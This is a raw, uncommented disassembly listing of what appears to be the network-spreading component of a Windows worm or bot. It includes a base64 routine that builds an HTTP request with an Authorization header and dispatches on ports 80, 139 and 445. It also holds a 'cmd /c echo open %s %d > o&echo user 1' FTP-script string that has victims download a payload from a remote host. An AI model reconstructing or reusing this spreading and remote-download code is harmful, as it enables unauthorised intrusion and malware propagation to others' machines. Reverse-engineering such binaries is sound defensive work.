		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E

loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]

loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1

loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx

loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax

loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D64[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B

loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi

loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]

loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0

loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx

loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D128
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------

loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax

loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]

loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------

loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1

loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx

loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F10
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACB0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DA8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi

loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAF74
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------

loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------

loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04

loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch

loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al

loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB00C
		test	esi, esi
		jnz	short loc_40D473

loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		call	near ptr 2690000h
		nop

loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A

loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]

loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi

loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8

loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A

loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A

loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573

loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]

loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8

loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8

loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8

loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A

loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al

loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3

loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------

loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------

loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------

loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC

loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------

loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC

loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B

loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1

loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------

loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx

loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573

loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax

loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]

loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax

loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax

loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------

loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi

loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx

loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF

loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB594, 1
		jnz	short loc_40D888
		or	byte_4DB594, 1

loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321C8
		add	eax, 6
		mov	dword_4CDC94, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------

loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh

loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------

loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx

